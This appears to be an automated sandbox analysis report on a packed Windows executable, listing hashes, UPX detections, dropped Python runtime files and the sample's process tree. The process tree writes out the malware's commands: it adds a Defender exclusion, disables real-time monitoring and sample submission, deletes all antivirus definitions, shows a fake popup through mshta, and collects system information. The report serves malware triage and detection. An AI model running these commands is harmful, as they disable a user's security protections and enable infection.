5c7aa4965abe87d06f609e62488e9b53e174dad5582b77932796776cc7d3ba3d

Resubmissions

29-10-2024 00:27

241029-arxrxaymgp 10

28-10-2024 19:43

241028-yfq2zswbnk 10

Analysis

max time kernel
1s
max time network
5s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-10-2024 00:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

serverside.xyzexternal.exe
Size

6.0MB
MD5

5a991ec34d988f0646119a2f858f28f4
SHA1

53fc617b72823a5b63a69281926eef07b4371912
SHA256

5c7aa4965abe87d06f609e62488e9b53e174dad5582b77932796776cc7d3ba3d
SHA512

2afdacbaa6782ced56f08b905d59145e77147f9b8b54eb6e0ac7806ff7c89c3090efdf68c6c38af6bae484b0cec7a3e4c5b6f6873d85235dda24cfa5a825e0ab
SSDEEP

98304:6MIu4+Dcd0I2iamaHl3Ne4i3gDUZnhhM7M+yvFaW9cIzaF6ARwDtyDe2HbMX/3H3:6Pp+Dm0IMeNoInY7/sHfbRy9QX0pTk

Score

7^/10

upx

Malware Config

Signatures

Loads dropped DLL 8 IoCs

pid	Process
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe
3596	serverside.xyzexternal.exe

UPX packed file 33 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023cac-21.dat	upx
behavioral1/memory/3596-25-0x00007FFEAF600000-0x00007FFEAFA6E000-memory.dmp	upx
behavioral1/files/0x0007000000023c9f-27.dat	upx
behavioral1/files/0x0007000000023caa-31.dat	upx
behavioral1/memory/3596-30-0x00007FFEC35B0000-0x00007FFEC35D4000-memory.dmp	upx
behavioral1/files/0x0007000000023ca6-48.dat	upx
behavioral1/files/0x0007000000023ca5-47.dat	upx
behavioral1/files/0x0007000000023ca4-46.dat	upx
behavioral1/files/0x0007000000023ca3-45.dat	upx
behavioral1/files/0x0007000000023ca2-44.dat	upx
behavioral1/files/0x0007000000023ca1-43.dat	upx
behavioral1/files/0x0007000000023ca0-42.dat	upx
behavioral1/files/0x0007000000023c9e-41.dat	upx
behavioral1/files/0x0007000000023cb1-40.dat	upx
behavioral1/files/0x0007000000023cb0-39.dat	upx
behavioral1/memory/3596-38-0x00007FFEC45B0000-0x00007FFEC45BF000-memory.dmp	upx
behavioral1/files/0x0007000000023caf-37.dat	upx
behavioral1/files/0x0007000000023cab-34.dat	upx
behavioral1/files/0x0007000000023ca9-33.dat	upx
behavioral1/memory/3596-56-0x00007FFEBE640000-0x00007FFEBE659000-memory.dmp	upx
behavioral1/memory/3596-54-0x00007FFEBE210000-0x00007FFEBE23D000-memory.dmp	upx
behavioral1/memory/3596-58-0x00007FFEBE1F0000-0x00007FFEBE20F000-memory.dmp	upx
behavioral1/memory/3596-60-0x00007FFEAEDD0000-0x00007FFEAEF39000-memory.dmp	upx
behavioral1/memory/3596-64-0x00007FFEC2740000-0x00007FFEC274D000-memory.dmp	upx
behavioral1/memory/3596-62-0x00007FFEBDFC0000-0x00007FFEBDFD9000-memory.dmp	upx
behavioral1/memory/3596-67-0x00007FFEBE320000-0x00007FFEBE34E000-memory.dmp	upx
behavioral1/memory/3596-72-0x00007FFEBE260000-0x00007FFEBE318000-memory.dmp	upx
behavioral1/memory/3596-73-0x00007FFEAE490000-0x00007FFEAE805000-memory.dmp	upx
behavioral1/memory/3596-78-0x00007FFEBE3E0000-0x00007FFEBE3ED000-memory.dmp	upx
behavioral1/memory/3596-80-0x00007FFEAF010000-0x00007FFEAF128000-memory.dmp	upx
behavioral1/memory/3596-76-0x00007FFEC4380000-0x00007FFEC4394000-memory.dmp	upx
behavioral1/memory/3596-75-0x00007FFEC35B0000-0x00007FFEC35D4000-memory.dmp	upx
behavioral1/memory/3596-70-0x00007FFEAF600000-0x00007FFEAFA6E000-memory.dmp	upx

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 3596	2000	serverside.xyzexternal.exe	84
PID 2000 wrote to memory of 3596	2000	serverside.xyzexternal.exe	84

C:\Users\Admin\AppData\Local\Temp\serverside.xyzexternal.exe
"C:\Users\Admin\AppData\Local\Temp\serverside.xyzexternal.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Users\Admin\AppData\Local\Temp\serverside.xyzexternal.exe
  "C:\Users\Admin\AppData\Local\Temp\serverside.xyzexternal.exe"
  2⤵
  - Loads dropped DLL
  PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\serverside.xyzexternal.exe'"
    3⤵
    PID:312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('make sure you are whitelisted on the whitelist group', 0, 'serverside.xyz', 0+16);close()""
    3⤵
    PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:5060

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI20002\VCRUNTIME140.dll

Filesize
96KB

MD5
f12681a472b9dd04a812e16096514974

SHA1
6fd102eb3e0b0e6eef08118d71f28702d1a9067c

SHA256
d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

SHA512
7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_bz2.pyd

Filesize
46KB

MD5
365a59c0e5ded3b7e28d38810227c525

SHA1
350ae649e7c640b3838a27e15a6d505aebf3980a

SHA256
fe58f3d78f4ed3f14f2d83ec6aecc0986d76ad453aa37ebe3b77a6bb0e53164c

SHA512
c71170b3d1e88883e419c6f5c68a9f1d237d9c985b8f7d7f66eda9bb92aa91f385b1a5ebbfa261aa9c63ec52b7ef2c2efdd81675d9f97490e3407184f52514d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_ctypes.pyd

Filesize
56KB

MD5
b3a39eab934c679cae09c03e61e44d3f

SHA1
e3d7e9770089de36bc69c8527250dbfac51367b7

SHA256
083fd5b8871869fb5571046e1c5336b0ca9b6e8dbc3d00983d81badd28a46ee2

SHA512
5704b9618e1a3750145e7e735890b646cf4cd0793a23628d2e70a263cd8bd77b12b55f3b9cb7f0b40da402507db994403e8d9fecb69f01865a3c56c6456c5cb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_decimal.pyd

Filesize
103KB

MD5
60a6c3c74980689f798dd5a6f6534358

SHA1
1ebb67ec7c26a3139057804b96d972db16ea9bf5

SHA256
3626f9674eccea781f7692ec55e8e408adbe7ffe78a68d3f6f7f3b84bf7920d4

SHA512
67cf5b1a85c8ee069bfbf88be69f19139d3cb7220c00375ef5f7bf9e987a9a4da3229e2973a96d8d3e82db9b9b9880611191f129d92b83cb7d71362a1e7ec0f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_hashlib.pyd

Filesize
33KB

MD5
79bfcc531422a9a5527a52489a84eefd

SHA1
d5329f0181929fc63d728374b21e7d69e67d1c7f

SHA256
b82a2abcf2d71564f2f6334089f9e8a4d21cec70010d8b8e285349c0be4dcb59

SHA512
82046764927dcbfaabb519f4278c72eb959491464796f360c44aa5bb9192d5b61f225bac3f4401f51047c0c8c7df464be3abd9356a4479e6613e1d46bba1368d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_lzma.pyd

Filesize
84KB

MD5
1f03e7153fea3cc11afde7972a16c37e

SHA1
3082b19a1bf18b78f5fcaaaa152064ac51d53257

SHA256
fa7f6ad91648bf52983996ec066fd666bc218c0f3cc1dabfe6ac9a7ac527b42a

SHA512
67c7f687acf839a5c23e2a89d76b2314853c2f8b05c2f46f3f7925a1e790e8341a14c35c38a349c0d7d91bc27500913a4149de58d3eb67bddf6720ba9d4b600e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_queue.pyd

Filesize
24KB

MD5
223ab7bc616085ce00a4c243bbf25c44

SHA1
6e0d912248d577cc6c4aae1fc32812e2f9e348ee

SHA256
de632ca5b6cdb0e4bf6c9dd4881d68fea716c4a419f8ecad382c1b5e240f7804

SHA512
dbab43636cec0bfab8da538f9c55cba7e17907ff4f75b7f8f66737242809afad44a6fbed62971127401da619eda239988b07c1d9cfa859aa52e175d1d9fa7a6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_socket.pyd

Filesize
41KB

MD5
75ed07feab770d600b2951db41da7904

SHA1
687dd0cce9de1cd60387493fafc71855b88e52d6

SHA256
cc323e6654e9e163d8f8b2aaf174836e31d088d0f939a1382c277ce1d808fe24

SHA512
ac1286f2343c110dade5e666222012247dd0168a9a30785fa943c0b91b89ad73c6bbef72b660212e899cb0bf15a8928d91ea244f6a3f89828d605f7f112dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_sqlite3.pyd

Filesize
48KB

MD5
5aa561c43bdbd1924bcfa69887d0aa7f

SHA1
fbf7e5727f273700fe82dfded0122268e467ee3d

SHA256
08c465684295dfea5314cbb5bc7c6a571cacfcbc588d12da982363db62bf3368

SHA512
fb942c31bbfa35bec8393f70f894bd6e59b806bc73bcff56fab2228c7cce9d3ddee5652140e7540504cff0ea7f9a23907190334776f1ea4e5353bce08fac3be5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\_ssl.pyd

Filesize
60KB

MD5
566840174754de7e474827fe4ee3ac77

SHA1
a111c87863810fa894e5111bf1299dc1879838c3

SHA256
3dbab73045f6fb4243f5f5488fd2732e8ae76c05e37d6c11ce7e4bbe38288125

SHA512
16f4834b99c08f17fc8d913a80e06f83eb7aa98b27a5abba9b9c8bab2faaee2cc8c2e5be09fcd081d02a9e472bcd9c2a8914a0a24929966167c091b18781403d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\base_library.zip

Filesize
859KB

MD5
5e638253f7147888c4bd70ff47402fd9

SHA1
1cc147f9fa9eb3b55cccd311adeda7cc7cc8d133

SHA256
7a4cd7d37ec3e702df2e2d2a1f4b98fec0aeb65a7886e85a02a8c59d99caa924

SHA512
76b4d3f8384945aa9772d423666ccb7a7075a7b4f48c81120c0d414ce66cf0b2be354728ff8658d36cae839db36413bf3c264349a37ecff107eb5d7282c167c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\blank.aes

Filesize
79KB

MD5
4625ee3c7bc42f7dffe44b8d78f4fbbe

SHA1
1fc930df013eee83d6b3fe23379dcb38b7b15ce1

SHA256
96f928d0ae85781fccca76e9307d63657662c5a0ad555d299cf6eed5d5630fc4

SHA512
7cde84506491ffbb5a19e485267857e6097ffc8fca28a8362de201e95cfddef5e1af2138500b1646edd2ccf2c19a0a55e71173170314b798e7033219730634a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\libcrypto-1_1.dll

Filesize
1.1MB

MD5
daa2eed9dceafaef826557ff8a754204

SHA1
27d668af7015843104aa5c20ec6bbd30f673e901

SHA256
4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

SHA512
7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\libffi-7.dll

Filesize
23KB

MD5
6f818913fafe8e4df7fedc46131f201f

SHA1
bbb7ba3edbd4783f7f973d97b0b568cc69cadac5

SHA256
3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56

SHA512
5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\libssl-1_1.dll

Filesize
203KB

MD5
eac369b3fde5c6e8955bd0b8e31d0830

SHA1
4bf77158c18fe3a290e44abd2ac1834675de66b4

SHA256
60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

SHA512
c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\python310.dll

Filesize
1.4MB

MD5
01988415e8fb076dcb4a0d0639b680d9

SHA1
91b40cffcfc892924ed59dc0664c527ff9d3f69c

SHA256
b101db1ddd659b8d8ffd8b26422fde848d5b7846e0c236f051fadb9412de6e24

SHA512
eab0c3ca4578751a671beb3da650b5e971a79798deb77472e42f43aa2bea7434ad5228a8fddbfff051ce05054dbf3422d418f42c80bc3640e0e4f43a0cf2ebbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\rar.exe

Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\rarreg.key

Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\select.pyd

Filesize
24KB

MD5
c9ff47314e1d3a71d0f6169a6ed919f4

SHA1
a90e8d82205c14660deca06b6891dd48075bc993

SHA256
ad50f036e4a00f5ed30c10c65acd9a137d339d0390ff0e1b7643d2e25162f727

SHA512
601a94ddeabe54c73eb42f7e185abeb60c345b960e664b1be1634ef90889707fd9c0973be8e3514813c3c06cc96287bb715399b027da1eb3d57243a514b4b395

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\sqlite3.dll

Filesize
606KB

MD5
fe5632ab5e7e35564059bd81ff07722f

SHA1
b45a9282d1e33585b07d92457a73b5907538db83

SHA256
4ae89a7a36c9fed607d38069635acd1801c000cac57558951175db33d3f2eeac

SHA512
f79d00000ef7018bafd69ae299ae1a06d36aa2498f64dcb33aa4eed66fd7e444ea524994c0469f3714431e6f7e5dbdaebd31bce253bebf3ecbf693a85dd31133

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20002\unicodedata.pyd

Filesize
288KB

MD5
fa458852aa48b6d397ae5e4dcb624d07

SHA1
5b224fc953062ec4b5d4965c9b4b571c12b7f434

SHA256
4472adfe11946f3bca0097eb3ca25f18101d97c152a82c9cb188b88f67b9dc4a

SHA512
879784fa9215055937d28ddd8408c5d14a97b3699139a85405bc11d6eb56f42dbce85bf76b911640887895dc405f43d51fdcf671107a5ea1aae1f1669ceab1e5

Download Submit
memory/3596-64-0x00007FFEC2740000-0x00007FFEC274D000-memory.dmp

Filesize
52KB

Download
memory/3596-67-0x00007FFEBE320000-0x00007FFEBE34E000-memory.dmp

Filesize
184KB

Download
memory/3596-25-0x00007FFEAF600000-0x00007FFEAFA6E000-memory.dmp

Filesize
4.4MB

Download
memory/3596-56-0x00007FFEBE640000-0x00007FFEBE659000-memory.dmp

Filesize
100KB

Download
memory/3596-54-0x00007FFEBE210000-0x00007FFEBE23D000-memory.dmp

Filesize
180KB

Download
memory/3596-58-0x00007FFEBE1F0000-0x00007FFEBE20F000-memory.dmp

Filesize
124KB

Download
memory/3596-60-0x00007FFEAEDD0000-0x00007FFEAEF39000-memory.dmp

Filesize
1.4MB

Download
memory/3596-38-0x00007FFEC45B0000-0x00007FFEC45BF000-memory.dmp

Filesize
60KB

Download
memory/3596-62-0x00007FFEBDFC0000-0x00007FFEBDFD9000-memory.dmp

Filesize
100KB

Download
memory/3596-30-0x00007FFEC35B0000-0x00007FFEC35D4000-memory.dmp

Filesize
144KB

Download
memory/3596-72-0x00007FFEBE260000-0x00007FFEBE318000-memory.dmp

Filesize
736KB

Download
memory/3596-73-0x00007FFEAE490000-0x00007FFEAE805000-memory.dmp

Filesize
3.5MB

Download
memory/3596-71-0x000001E4A8040000-0x000001E4A83B5000-memory.dmp

Filesize
3.5MB

Download
memory/3596-78-0x00007FFEBE3E0000-0x00007FFEBE3ED000-memory.dmp

Filesize
52KB

Download
memory/3596-80-0x00007FFEAF010000-0x00007FFEAF128000-memory.dmp

Filesize
1.1MB

Download
memory/3596-76-0x00007FFEC4380000-0x00007FFEC4394000-memory.dmp

Filesize
80KB

Download
memory/3596-75-0x00007FFEC35B0000-0x00007FFEC35D4000-memory.dmp

Filesize
144KB

Download
memory/3596-70-0x00007FFEAF600000-0x00007FFEAFA6E000-memory.dmp

Filesize
4.4MB

Download